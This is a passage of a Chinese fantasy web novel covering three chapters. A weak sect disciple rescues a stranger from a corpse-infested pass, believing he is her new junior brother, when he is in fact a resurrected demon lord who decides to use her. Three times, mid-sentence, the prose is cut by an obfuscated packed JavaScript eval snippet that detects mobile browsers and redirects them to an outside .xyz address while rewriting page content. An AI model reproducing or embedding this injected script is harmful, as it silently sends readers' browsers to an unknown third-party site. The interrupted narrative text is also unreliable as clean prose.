《我师弟怎会是魔头?!》 1. 飞仙关 飞仙关。 雷雨晦暝,邪祟横行。 空气中弥漫着一股吊诡的气息。 少女飞快地奔跑在空无一人街道,手中紧攥着闭息符早已被冷汗浸软,此时正死死抵住剧烈起伏的胸口。 她不住朝左右张望,似是在寻找着什么。 “喀拉——” 一道断裂的脆响兀自在身后炸开,林予微猛然停住脚步回头望去。 只见一具似人形的黑影正摇摇晃晃朝她走来。 她小心试探:“师弟?” 对方没有任何反应。 狂风将黑雾吹散,林予微终于看清了来人的模样—— 男人面色青黑,双目皆已被剜,手足只剩白骨。 活尸。 确认对方并非自己所寻之人,她打了个寒战,搓了搓手臂转而继续向前奔走。 林予微此行是来寻她师弟的——即便她现在还不知自己这位素未谋面的小师弟究竟是胖瘦圆扁。 她低头看向手腕处光芒渐暗的追踪咒,不由加快了脚步。 七日前,飞仙关为邪祟占领,如今已成一座死城。 而这一切本与远在百里之外的林予微没有任何关系——她修为低微,只是个毫无存在感的外门弟子,即便仙门要派人增援,也断然不会叫她来的。 只是恰逢近日清虚宗新收的弟子们前来报到,林予微央求师父整整七年才收来的小师弟就在其中。 她满怀期待地坐在山头等到天黑,横竖不见半个人影,直到跑去负责接待新生的长老那儿询问才知,师弟所携带的乾字一百六十八号弟子路引停在飞仙关已有三日未动了。 那人告诉她:“你师弟恰在这个节骨眼上途经飞仙关,到现在还没消息传回,十有八九已遭遇不测。” 这话,林予微自然是不肯相信的。 她心心念念多年的小师弟,怎么可能就这样死了。 她忍着眼泪一路浑浑噩噩地回到微尘山。原想等师父回来,让他托人去寻小师弟的,可理应回山的日子,直到半夜都不见师父的踪影。 于是,她咬了咬牙,心中一横,连夜收拾好包裹扛着剑、牵了头胖驴摸黑下山了…… 林予微跑得急,刚拐过一个路口,忽觉得有什么湿滑黏腻的液体滴落在她脖颈处。 她抬头一瞧,猛地撞见一棵歪脖子老树上倒吊着十几具面容扭曲、死状不一的血尸。 林予微被吓得心跳骤停,慌乱间竟被脚下一颗头骨绊倒在地,闭息符脱手而出。 哗! 与此同时,整条街巷悬挂的镇邪铃疯狂摇颤!倒悬的尸群唰然睁开双眼! 完了。 失去了闭息符的庇护,飞仙关结界内所有邪祟都闻到了她身上的活人气息。 瞧见密密麻麻的黑影不断朝自己靠近,林予微心底的惧意瞬息被无限放大,冰冷刺骨的寒意从背后蔓延开来,竟使她浑身不得动弹。 林予微的胆量向来是不大够用的。 在过去十一年的仙门弟子考核中,她每次都会被试炼幻境中的凶兽妖邪吓得满地乱窜,因而遭受其他弟子耻笑。 即便这次她为救人下山,乍看好似有几分少年心气与胆量,但等她真瞧见飞仙关内的模样,心中立马打了退堂鼓,横竖觉得自己去救人还是换个师弟更靠谱。 正当林予微犹豫不决时,恰巧遇见了一名清虚内门弟子。 对方听闻她下山目的,便厉声呵斥她胡闹,说飞仙关的妖邪会把她吓破胆,打发她赶紧离开。 林予微修为不行,却是个逞能的犟脾气,听了这位师姐的劝告后,反倒一根筋轴到底,偏要进飞仙关看个究竟。 对方说话虽不太好听,但也是个面冷心善的好人。 见她执意要进飞仙关,便赠了她几张保命用的闭息符,并凶巴巴地告诉她,若她死在里面会为她收尸。 林予微满心感激,还来不及询问那人姓名,对方就已走远。 恰好那时追踪路引的咒法有了微弱异动,她心想自己在入清虚宗前曾误入过邪祟横行的幽冥,虽不太记得到底发生了什么,但也只寻常妖邪大多不愿近她身,然后就放宽了心,攥着手中的闭息符闯了进来。 说不后悔那肯定是假的。 她只知寻常妖邪不会伤她,但忘了当初在幽冥,邪祟并无附身容器。飞仙关不同于幽冥界,这些妖邪一旦附身为活尸,可谓凶残至极。 而且此处妖邪并不寻常,比起幽冥那些更为可怖。 浑身都快抖成筛子的林予微咬牙极力克服内心的恐惧,伸出破皮的手去捡掉落的符纸。 可闭息符的作用毕竟有限,无法彻底遮掩她伤口不断涌出鲜血的活人气儿。 眼看活尸朝她越聚越拢,林予微一跃而起,猛地拔出背后的佩剑“不出”。 “不出”也正应此名,藏于鞘中,对着活尸哐哐一顿猛砸。 对面的活尸毫发无损。 “……” 林予微十分尴尬地与活尸对视片刻。 “救命啊——!” 紧接着抱起剑,支哇乱叫地冲了出去,靠着一身蛮力硬生生将挡在身前几具活尸撞散。 “别追了!” 妖邪四面八方汇聚而来,林予微落荒而逃,夺路狂奔,两条腿都快捣出火星子。 “求你们别追了——” 好在这些年她跟着师父虽没学出什么名堂,但十一次弟子考核十一次不过,为少挨点揍逃跑功夫见长。 尖啸嘶吼从身后不断传来,林予微脚下更是一刻也不敢停。 她一路横冲直撞,背后追着一群张牙舞爪的妖邪,迎面又来了一群肚肠满地的活尸。 林予微被逼得进退不得,后知后觉突然想起虽自己学艺不精,但好歹在微尘山待了十一年,也算仙门中人。 她抓着头发拼命回想,手上迅速结印,喝道:“掷火万里,鬼无逃形,破!” 指尖冒出一缕小火苗。 林予微:“……” 崩个屁都比这声势大。 罢了。 方才,一路狂奔早已让林予微精疲力竭,横竖都是死路一条,她刚下定决心不跑了。 可面对妖邪尸群,本能的求生反应还是让她上蹿下跳着冲进手边的一家酒楼。 “咚!” 她手忙脚乱地落了门闩,背靠朱漆剥落、摇摇欲坠的门板,听着屋外此起彼伏的尖锐嘶吼与沉重的撞击声,心情也跌入了谷底。 木门被撞破只是时间问题,这次她真的无路可逃了。 林予微双手合十,忍着眼泪仔仔细细回忆了过去诸多对不起师父的地方,并痛定思痛发誓自己下辈子一定再也不惹师父生气,再也不在师父背后说他长得像野鸡精…… 然后,她又想起了小师弟。 她心心念念了那么久的小师弟,死前就连小师弟长什么模样都不知道。 一想到这里,林予微委屈不已,忍不住开始号啕大哭。 “呜呜……小师弟……” 她天赋平平,平日里就不太受其他弟子待见。所愿不过只是想通过弟子考核进入内门,十一年不过也就算了,她好不容易求师父松口答应再收一徒,方便与自己搭档一同参加弟子考核。 可现如今,师弟不仅失踪,就连她也要死了。 为什么倒霉的人总是她? 悲痛欲绝的哭嚎与门外的嘶吼尖啸声混成一团,甚至隐隐更胜一筹。 正当林予微以为自己今日必将被邪祟活尸撕碎时,门外的声音却戛然而止。 她抽了抽鼻子,半晌也不见活尸撞门的动静,擦干眼泪扒着门缝去瞧外面的景象。 方才堵在门外的妖邪早已不见了踪影。 正当林予微满心疑惑之际,抬头间无意瞥见不远处的天穹似有道裂痕,似有一股强大的力量不断从内涌出。 与此同时,附着手腕的追踪咒忽然开始发烫。 - 飞仙关,城西旧祠外。 上百具血尸头尾相连,地上爬满了狂乱扭曲的血色符文。 一名披头散发,身着血衣的男子立于群尸间,垂首默念着一串诡异咒令。 忽而狂风呼啸,瞬间掀起漩涡般庞大的气劲,苍穹蓦然被撕裂出一道深不见底的裂缝! “吼——!” 无数阴邪之气疯狂外涌,裂缝深处传来一阵沉重的低吼。 终于……来了! 男子睁大充斥鲜红血丝的双眼,欣喜若狂。 当黑雾散尽,天裂中踏出一头足有三丈高、虎头熊身的庞然大物。 他连滚带爬跪到它跟前,振臂癫狂高呼:“信徒、信徒沈肖恭迎祸厌大人降世,愿与大人结魂契,世世代代供奉大人——!” 静默良久,无人回应。 不应该…… 男子眼中划过一丝茫然。 邪书中记载,凶兽祸厌凶残嗜血,善人言。只要荧惑与客星同时出现,向它献祭三万亡魂,便能将它从幽冥召至凡间,与之结契。 到底是哪一步错了?! 他垂首盯着脚下的符文,并未注意到祸厌蜷缩颤抖的身躯。 就在这时,一道轻蔑的嗤笑从他背后响起。 “谁?!” 男子心生警觉,唰一回头,只见一抹黑影从他面前飞掠而过。 他的目光追随那道身影而去,却见方才空荡荡的祭台上不知何时坐了一个看起来只有十七八岁年纪的劲瘦少年。 少年乌发半束,皮肤白皙,面容昳丽,身着织金浅紫缎袍,胸前挂着一串镶嵌红玉的古银项圈,俨然一副富贵人家的小公子模样。 他的眼神澄澈而又无辜,此时正一手撑面,歪着脑袋笑盈盈地盯着他瞧。 见对方身上并无灵力,只是一介凡人,男子暗自松了口气,转而换上一副凶恶的表情:“你笑什么?!” 少年嘴角的笑意逐渐扩大,不紧不慢地抬指拨弄了一下发尾的银铃。 “叮——” “自然是笑你蠢。” 少年的脸上虽挂着一抹人畜无害的笑意,但投来的视线宛若淬了毒液的尖刀般,令人不战而栗。 他语气诚恳:“蠢到自己要没命了都不知道逃。” 话音落下的一瞬,一道蛮力凭空骤现死死掐住男子的脖颈,逼得他双脚离地,如何也挣脱不出! “你……” 男子心中默念禁咒,意图催动邪祟围攻少年助自己脱身。 狂风平地骤起!无数邪祟前仆后继! 少年却视若无睹,连眼皮子都没动,自顾自地从祭台上跃下,腰间束紧的那条镶嵌鱼身蝶尾银纹的蹀躞上,折射出一道锋利的暗芒。 少年垂落肩前的长发中混着许多根镶着银铃的细辫,每一根辫尾处都垂坠了一条小巧玲珑的银饰流苏。每跨出一步,少年身上的银铃便会发出清脆的碰撞声响。 “叮——” 铃音玲珑清婉,如林籁泉韵,拨人心弦。 可对男子而言,却如同一道催命符。 少年身上的银铃每晃动一下,落在他身上如滔天巨浪般的杀伐戾气便更重一分。 “你、到底……是谁……?” 眼看那些邪祟还未靠近对方就被一股无形的力量烧为灰烬,男子心底骤然升起一丝惧意。 少年并不回答,脸上依旧挂着和煦的笑意,只不过注视他的目光,仿若在看一个死人。 呼吸变得短促而无力,男子的意识近乎陷入昏厥,却在听到一道凄厉的尖啸声后蓦地清醒。 他僵硬地移动目光,却见到此生最惊骇的景象——那足足三丈高的凶兽被一股无形的力量生生撕碎,顷刻间化作了一团血雾。 那可是四大凶兽之首祸厌,竟、竟然被眼前之人给…… 男子脊背发凉,不敢置信地回过头。 他到底是谁?! 晃眼间,少年不知何时已站在他跟前。 他愕然瞪大双眼,这次他清晰地看见对方那双极为罕见的赤金瞳眸,以及额头上的纹印…… 为召祸厌,多年来他几乎翻遍了天下禁书,又怎能认不得此印? 赤金瞳、神魔印。 男子浑身颤抖,七窍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447113|185148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血涌不止。 “你、你是魔祖……蔺无咎……” 那个早就死在三百年前的凶残魔头。 男子愣怔片刻,心底的恐惧转瞬化为狂喜。 传闻魔祖蔺无咎生性凉薄,嗜血暴戾,曾以一己之力血洗玄天宗,屠戮九州万民。不仅如此,他斩断通天梯,绝地天通,致使修真三百年来再无一人飞升上界! 当年为防止魔祖借尸还魂、卷土重来,仙门剖下他的魔丹,把他的元神投入无间地狱,使其受万鬼吞噬,最后又将一身魔骨敲碎,镇于十洲四海。 没想到时隔三百年,蔺无咎还是回来了。 男子眼中划过一丝贪婪的光。 他以神魂为祭,求的便是这世间至邪至恶之物。论凶残,哪怕是身为凶兽之首祸厌也比不上魔祖蔺无咎万分之一。 若非当年那位横空出世的玄戈仙君亲率仙门百家对魔祖进行围剿,与之同归于尽,凡界如今只怕早就换了天地。 见对方似乎是认出自己,蔺无咎脸上的笑意更甚:“你认得本座?” 男子赶忙道:“沈肖愿意为魔祖献祭神魂,助魔祖留于凡间,躲过天道禁制!” “沈肖?” 男子立马点头。 蔺无咎眉头轻蹙,看起来有些苦恼,他语气平缓:“可惜本座不与蝼蚁结契,所以只好请你……” “去死了。” 男子的表情瞬间慌乱:“不、你不能杀我!否则……” “咔嚓——” 脖颈应声断裂。 鲜血飞溅而出,顺着少年紧绷的下颌缓缓滑落,在他白皙的皮肤上拖拽出数道鲜红血痕,让人触目惊心。 蔺无咎嫌恶地抬指抹去脸上的血迹,转而打量起四周景象。 他一脚踢开男人的头颅,垂眼时注意到了脚边闪烁不止的令牌。 指尖一动,令牌倏地出现在他手心。 不等他看清这东西究竟是何物,一缕微光化作丝线缠绕上他的手腕。 蔺无咎不满地蹙眉,正要将它破开,却突感身后有所动静,一回头就见面前出现几道虚影冲他鬼哭狼嚎—— “少主,求您快回来吧!” “少主,如今您刚苏醒,身体正虚弱,不是修真那些人的对手!” “少主,咱们和修真已经多年井水不犯河水,求您别捣乱了……若到时两界再度开战,我等又如何与主上交代……” “少主……” 聒噪。 银铃一晃,蔺无咎毫不留情地掐灭了虚影。 半月前,他在沧云洞的一个魔族小辈身上醒来,丢失了过往的记忆,只记得自己是魔祖蔺无咎,被仙门中人碎骨剖丹所杀。 他从旁人口中得知自己已经死了三百年,而在这过去的三百年间,魔族也被驱赶至幽冥界与凡间的夹缝苟延残喘。 可众魔不仅毫无反抗之意,就这么安安心心地在夹缝中度日。 他听闻此事勃然大怒,誓要杀回修真报仇雪恨。 可众魔却被他的话吓得魂飞魄散,哭天喊地扯着他说少主的疯病又发作了。 为追寻魔丹下落,早日恢复修为再一举踏平修真,蔺无咎进入幽冥寻到了当年吞吃他剑灵的凶兽祸厌,结果阴差阳错被一个凡人连同祸厌一同召至凡间。 如此一来,也正合了他的意。 蔺无咎心中冷嗤,转身就要离开。 与此同时,天道禁制似乎察觉他强留凡间之意,裂缝中涌出无尽绞杀之意转瞬向他扑来! - 见寻找师弟路引的追踪符终于有了动静,林予微眼神一亮,在门后等了会儿,迟迟不见妖邪出现,便壮着胆子推开门闸,迈着两条哆哆嗦嗦的腿,飞快朝天裂处跑去。 随着二人的距离越来越近,手腕的追踪咒发出一阵阵嗡鸣颤动。 头顶虚空的那道裂缝也愈来愈小,林予微扭头看见身后那些活尸渐渐散开,不知在惧怕什么。 她钻过窄巷,很快就在旧祠附近看见了一道屹立的身影。 她没有莽撞上前,先是躲在墙后仔细观察——她一路见过太多乍看与常人无异的活尸了。 对方脖颈处皮肤光滑白皙不似邪物附体,而手中握着的正是…… 清虚弟子的路引腰牌! 林予微心中狂喜。 太好了!她找到小师弟了! 林予微激动地冲上前,一把攥住蔺无咎的手,欢天喜地道:“小师弟!我终于找到你了!” “你知不知道师姐找得你好辛苦……还好你没事……” 为强留凡间,与天道禁制对抗,蔺无咎几乎已经耗尽全身力气,额间魔印与赤金瞳早已隐去,五感也随之变得迟钝下来。 可再迟钝的五感依旧抵不过眼前之人的聒噪程度。 好吵。 冰冷的眸光悄无声息地晃了晃,最后落在了被林予微抓住的左手上。 哪来不知死活的东西竟敢碰他? 正当蔺无咎准备将人甩开,一道撕裂魂魄的剧痛猛地从他心口|爆裂开来。 他瞳孔骤然紧锁,转瞬变得赤红,骨节分明的手指死死揪住胸口,双膝踉跄跪地。 看见小师弟没有任何征兆地在自己面前倒下,林予微瞬间发出一道尖锐爆鸣:“小师弟——!” “师弟你怎么了?”她抓住少年的肩不停摇晃。 蔺无咎强打起精神,瞥见她手中灵符,眼底划过一丝浓重的杀意。 ——好啊,竟还是仙门中的人。 见面前的人迟迟未有反应,林予微心中着急,又腾出手去拍他脸。 “师弟?” 林予微一着急,下手难免没轻没重,很快就在蔺无咎的脸上留下几道鲜红掌印。 大魔头不可置信地看向她。 她竟还敢摸他的脸?! 疼痛犹如潮水淹没了他所有感官,视线瞬间变得逐渐模糊起来。 在彻底失去意识之前,蔺无咎心中只剩下一个念头。 ——仙门中人果然无耻至极! 等他醒来,定要杀了这个占他便宜的女人! 2. 白眼 “师……姐?” 蔺无咎醒时只觉得头痛欲裂,再次睁眼已身处飞仙关城郊的一片密林。他甚至还来不及践行昏迷前杀人的念头,倒是先被眼前无耻的仙门中人气笑了。 “没错。” 林予微面不改色地点头应下,同时给予了他一个肯定的眼神,心中只剩“无论如何都必须将小师弟拐回山门”的坚定信念。 “半日前在飞仙关内,你遭受妖邪袭击。”她拍了拍胸脯,掷地有声,“是师姐我将你带出来的!” “……” 蔺无咎半眯着狭长凤眼,心想哪来不知死活的东西,竟敢自称他师姐。 林予微在微尘山待了十一年,别的没学到,倒是将师父棠九枝那信口胡诌的本事学了透彻。 为迅速拉近二人关系,以此塑造自己英勇无畏的形象,她声情并茂:“那妖邪足足十丈高!长了七八根触角,全身都是血气,青口獠牙的,长得可吓人了!” “……” 自额角淌下的血迹已有干涸迹象。 蔺无咎背靠树桩,并不理会眼前满口胡言的凡人,而是暗自思考起自己强行对抗天道导致心脉受损,又为何会伤到脑袋? 大魔头实在想不明白,只能收回思绪,就此作罢。 可那凡人依旧在他面前胡诌乱扯,丝毫没有要停下的意思。 好吵。 蔺无咎抿了抿唇,渐冷眸光落在她白皙的脖颈上。 可惜林予微灵力低微,并未察觉到异样,只是觉得今夜的山风吹得她背后有些发凉。 她搓了搓双臂,继续添油加醋:“三日前,是师姐不眠不休地从清虚宗赶到飞仙关,这一路艰难险阻,但好在师姐都一一克服!若师姐再晚一步,你怕是就要被那邪祟给生吞活剥了!” 清虚宗…… 蔺无咎的眼神微微一凝,若有所思地掐灭了指尖魔气。 说罢,林予微一拍胸脯,又做出一副相当牢靠的模样:“不过你不要怕,以后万事都有师姐!” 区区凡人,尚不过一境修为,就敢在他面前大放厥词。 蔺无咎心中冷笑,盯了她片刻,伸手拂过额角的血迹,语调漫不经心:“所以这也是我被邪祟袭击伤到的?” “这……” 满腔慷慨激昂之辞在这一瞬戛然而止,空气霎时变得死寂,林间只能听见篝火的噼啪声响。 林予微的表情兀自变得有些尴尬,她挠了挠头发,支支吾吾半晌,“不是。” 经过一番激烈的思想斗争后,她终于抬手指向拴在一旁低头嚼草的胖驴。 胖驴似有所感,抬头斜视二人一眼,拉了道尖锐刺耳的鸣: “噢阿——” 这头胖驴原是她那便宜师父三年前从山下捡回来的,因头大耳长,两眼边上有一圈白毛,再加上脾气古怪,爱撅蹄子翻脸不认人,是以林予微给它取名“白眼”。 林予微十分心虚道:“今日我带你离开飞仙关,叫白眼背你时,出了一点点差错,然后你的脑袋一不小心轻轻磕到了地上石头……” 她的声音越来越小,却特别咬重“轻轻”二字,紧接着话锋一转,“不过你不要担心,我们如今已经离开飞仙关,现在很安全了!” 蔺无咎的眼皮没由来地跳了一下。 “……” 为证实自己所言句句属实,林予微忙从身后摸出一块弟子路引,将刻有姓名那面翻给他瞧。 “乾字一百六十八号。师姐找到你时,你手中握着这块令牌,牌中灵丝与你神魂相连,绝不会有错。你叫沈肖,是我清虚微尘山新招收的弟子。” “而我,林予微,是你的同门师姐!” 沈肖,听着有些耳熟。 大魔头思索片刻,突然想起来了。 ——就是那个被他拧了脑袋的凡人。 蔺无咎眼角微弯,颔首微笑:“原来如此。” “这么说,师弟是终于肯信我了?”林予微一脸期待地询问。 “恩。” “那师弟……不怪我?”她以为自己害小师弟撞破脑袋,他总会有几句苛责的。 蔺无咎微微一笑,体贴道:“既是为了救我,自然是不怪的。” 看着小师弟这副乖巧温顺的模样,林予微心中难免有些愧疚。 在寻到师弟的那刻她确实高兴极了,可紧接着又有另一个问题随之而来——小师弟尚未入门,便遭此劫难,万一因此心生退意,彻底断了求仙问道的心思……又该如何? 飞仙关的场景别说是寻常人家,即便是结界外一众宗门弟子,也没有不怕的。 她拖着小师弟离开飞仙关,一路不见邪祟活尸踪影,便渐渐放松警惕,思考起解决对策。大抵是太过沉浸此事,在将小师弟拽上驴背时,她一时手滑,竟将小师弟给摔傻了。 ——不仅记忆全无,甚至连自己是谁也记不得了。 可愧疚之余,她心底又生出几分庆幸。 忘了也好。 这样一来,她所担心之事皆可迎刃而解。 林予微双手合十,暗道了几声对不住。 若日后小师弟真记起过往,无意留于清虚,她定会主动向师父请命放他离开,再好好与他赔不是。 不过眼下最最紧要的,还是将小师弟拐回山门,应付半年后的弟子考核。 想到这里,林予微上前殷切地握住小师弟的手,信誓旦旦:“你只管跟师姐回去,日后师姐定会为你寻最好的草药,帮你找回记忆!” 小师弟生得面善,一看就是好人,这下定会被她的诚意打动吧? 蔺无咎垂眸望着自己被握住的双手,因心神不稳,温和的笑面下险泄出一丝杀意。 罢了,先留她一命。 大魔头忍辱负重地想。 他从祸厌口中得知当年魔丹就是被清虚宗的人取走。 此人既与清虚宗有关,不妨暂时先借这身份一用,等来日寻回魔丹,他再一举踏平整个修真,杀了眼前这个凡人。 就先如此。 蔺无咎这边刚说服自己,暗自抽回的双手猝不及防又被一道蛮力拽了回去。 “你放心。” 林予微伸出两根手指对天发誓,用宛如诱骗良家男子的口吻对他郑重许诺:“师姐我定说到做到,绝不亏待于你!” “……” “好啊。” 蔺无咎强定了定心绪,扬起那张人畜无害的笑脸,温声道,“那日后便要依仗师姐了。” 这声“师姐”喊得如天籁贯耳,极是动听。 林予微一时脚下虚浮,竟有些晕头转向,分不清现实与虚幻。 “你方才叫我什么?” “师姐。” 蔺无咎歪了歪脑袋,似是不解,澄澈的目光就这么直勾勾地盯着她瞧。 林予微美滋滋地应了一声,一种务必要照顾好小师弟的使命感从心底油然而生! 她解下身上的披风,手忙脚乱地罩住了蔺无咎:“小师弟,今夜风寒,你先好好休息,师姐帮你守夜。” 即便离开飞仙关,没有邪祟侵扰,可他们毕竟身处荒山野岭,难免会有野兽出没。 保护小师弟的安危,她这个做师姐的自是当仁不让! “多谢师姐。” 蔺无咎一介魔头,即便如今法力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447114|185148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受限,寻常野兽见了他也照样绕开三里地,自是不需要旁人守夜,但他并未拒绝。 大魔头坦然裹上林予微的披风,倚树闭上双眼。 可眼前一幕却叫林予微异常振奋。 她抱剑胸前,将腰背挺得笔直,瞪大双眼监视周围的风吹草动。 小师弟既如此信任她,她定不辜负小师弟所望! - 夜深,寒风瑟瑟。 蔺无咎一向觉浅,半夜醒来几次瞥见林予微抱剑拄地,困得不住点头打哈欠,也只是佯装没瞧见。 他天生情感淡薄,行事恶劣。林予微虽是为他守夜,但也实在勾不起他半分恻隐之心,反倒叫他心底催生了一丝恶劣的愉悦感。 眼看天色渐明,林予微终于放下心,靠着驴腚昏昏沉沉地睡去。 可这时,精神抖擞的大魔头却不怀好意地将人叫醒:“师姐。” 一句师姐,让林予微瞬间清醒过来。 她猛地睁开双眼,甩了甩昏沉沉的脑袋,硬生生将自己神游在外的魂魄扯了回来:“师弟找我何事?” 蔺无咎:“天亮了,师姐。我们是不是该赶路了?” 见小师弟竟比自己还着急回宗门,林予微十分欣慰。 既是小师弟所想,师姐自是应该应允的。 “好,我们这就回去。” 她强打起精神,翻坐起身,胡乱擦了把脸,转身去牵白眼。 见林予微牵驴拔腿就走,蔺无咎背手立在原地,险些没绷住那虚伪的笑意:“就这样走回去?” 林予微想当然地点头:“对啊。” 白眼最多只能承一人的重量,他们现在有两个人自然得走回去。 蔺无咎缓缓吐出一口气。 差点忘了这凡人只有一境修为,还不会御器飞行,而且—— 他目光轻轻转动,打量起面前灰头土脸的林予微,并得出结论:此人看着实在不像有钱买法器符箓的模样。 林予微不知他心中所想,正满心疑惑地回过头,却见小师弟面色霎变,满脸痛苦地捂住胸口,紧接着呕出一口鲜血。 “师弟!”林予微瞬间脸色大变,冲上前扶他。 “师弟你怎么了?” 少年神色憔悴,半倚着她的肩膀,咳嗽了几声,虚弱无力道:“师姐,不要紧。应当只是在飞仙关受了邪气影响……” 蔺无咎的五官生得极是漂亮,凤眼朱唇,目如点漆,一眼便叫人过目难忘。 昨日师弟昏迷时,林予微就忍不住偷偷瞧了好几眼,模样越瞧越是欢喜。 如今师弟如若无骨地贴在她身上,漂亮的五官近在咫尺,顿时让林予微有些六神无主,她结结巴巴:“那、那师弟既然身体不适,等休息好了再回去便是。” 蔺无咎却咬牙坚持:“因邪祟我已耽搁多日,不能让师父担心,还需尽快回宗门才是。” 没想到小师弟身体如此虚弱,竟还为他人着想。 林予微感动之余,当即将撒欢的白眼生生揪了回来,拍着驴背大方道:“师弟你就乘它回去。” “那师姐呢?”蔺无咎掀起眼皮,擦去嘴角血迹。 林予微抬头挺胸:“师姐身体好!就算是从远在万里外的西炁山出发,也照样能生龙活虎地走回清虚宗!” 蔺无咎扯了扯嘴角:“那师姐可真是厉害。” 就这样,柔弱不能自理的大魔头纡尊降贵、勉为其难地坐上了颠簸的驴背。 堂堂魔祖竟沦落到骑驴的地步,蔺无咎心中十分嫌弃,但表面还是摆出一副感激的模样:“多谢师姐照拂。” 林予微骄傲抬头:“应该的。” 3. 魔祖 半日后,“生龙活虎”的林予微拖着疲惫不堪的身躯,如同行尸走肉般在山中晃荡。 她耷拉着脑袋,脚步迟缓而沉重,面色枯槁,两眼发直,苦着一张脸,模样不似回宗门,倒像是去吊丧的。 胖驴嘴馋,昨日在进飞仙关前顺走了她怀中最后两块烧饼,害她近一天一夜没再吃过东西,此时早已饿得前胸贴后背。再加上一夜未眠,林予微早已是身心俱疲。 她又累又饿,几次三番想开口与小师弟交换,但见小师弟一副弱不禁风,随时咳血而亡的模样,心中不忍,硬生生将话憋了回去。 蔺无咎一早便察觉到林予微虚浮的脚步,可金贵的屁股不肯挪动半分,反而顶着一张人畜无害的脸,开口“辛苦师姐”,然后心安理得地指使她清理前方山路的碎石障碍。 甚至觉得一路无事可做,蔺无咎还将自己的剑灵“冲星”唤醒放出来解闷。 三百年前,魔祖蔺无咎身死,同他一起陨落的还有魔剑“冲星”,传闻凶兽祸厌正是因偶然吞食冲星剑残灵,力量大增,才跻身凶兽之首。 蔺无咎原想通过冲星剑找回过往记忆,可惜冲星在祸厌体内待了三百年,灵体几乎快要散尽,过去记忆全无,不过桀骜脾性半丝未改。 经过好一顿敲打,冲星这才认出他。 冲星虽与蔺无咎一样厌恶仙门中人,但为大局考虑,它扭头看了眼身后林予微,忍不住问:“主上,我能感应到魔丹就在清虚,届时还要此人带我们进入。这么折腾当真没事吗?” 与剑灵之间的对话,没他允许,旁人自是听不到的。 因此蔺无咎言从本心,恶劣得毫无遮拦:“是她自找苦吃,与本座何干。” “……” “放心吧,死不了。” 蔺无咎这边话方才落下,林予微就忽觉天旋地转,两眼一抹黑,“砰”地栽倒在地。 大魔头深深地皱起眉头:“……” - 林予微昏睡了一夜,最后是被油滋滋的烧鸡香味馋醒的。 她头昏脑胀地睁开双眼,视线模糊,过了好一会儿才看清床顶的木雕连云纹和身旁垂挂的金边莲纹素色床幔。 “我是死了吗?” 清蒸,红烧、煎炸……不同的食物香气交织而后争先恐后地窜入她的鼻腔,林予微放空脑袋,有气无力地瘫躺在床,心想自己出师未捷,倒是先成了个饿死鬼。 师父曾说人死后,魂下九幽,只有极少数至善者能够被点化升天入仙界。 此处装饰雅致,比她平日住得微尘山要好上许多,看着不似九幽,倒像是仙境。 所以仙人也爱吃烧鸡吗? 林予微饿得脑袋昏沉,有些神志不清。 凡界有山鸡、野鸡、走地鸡,那仙界的鸡叫什么? 仙鸡吗? 不等林予微进一步不着边际地胡乱思考下去,一只骨节分明的手轻轻撩开了床幔。 少年探出半边身子,神情关切:“师姐,你醒了?” “师……弟?” 林予微一度以为自己出现幻觉了,伸手掐了自己一把。 腿上的刺痛感叫她瞬间清醒。 蔺无咎拢好一边的床幔,转身走到桌前坐下,道:“师姐定是饿了,正好起来吃些东西。” 林予微挣扎着坐起身,在看到满桌腾着热气的饭菜,眼睛瞬间亮了。 此地果真是仙境! 犹如饿鬼投胎般,林予微甚至来不及穿鞋,健步如飞一头猛地扎进饭桌,狼吞虎咽了起来。 蔺无咎并未动筷,只是安静地坐在一旁看她。 饶他堂堂魔祖,三百年前定是见多识广,恐怕也从未见过林予微这种如野猪进食般的狂放吃法。 林予微不住往嘴里塞肉塞菜,吃得心满意足,蔺无咎刚要收回目光,却忽然见她面色涨红,撂筷捶胸顿足,脖子快抻出二里地。 蔺无咎不明所以。 冲星在一旁提醒:“水,她快噎死了……” 蔺无咎这才将手边的茶壶递给她。 林予微抱着茶壶仰头一饮而尽,面色这才渐渐缓和下来。 想起方才自己失态,林予微擦了擦嘴,露出一个尴尬而不失礼貌的微笑。 蔺无咎在她目光移过来的那一瞬间早已挂上了体贴乖顺的面孔。 他将干净的新筷递了过去。 “师姐慢慢吃,这一桌子都是给你的。” 方才光是喝水就已饱了大半,林予微已从饿死边缘抽离,顺便想挽救一下自己的形象,夹菜吃饭时收敛许多。 她原想询问自己晕倒后是怎么回事,这满桌丰盛菜食又是从何而来,可一抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447115|185148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头骤然发现小师弟的下巴不知何时多了两排清晰的牙印。 她好奇地凑近:“小师弟……你脸上的牙印是……?” 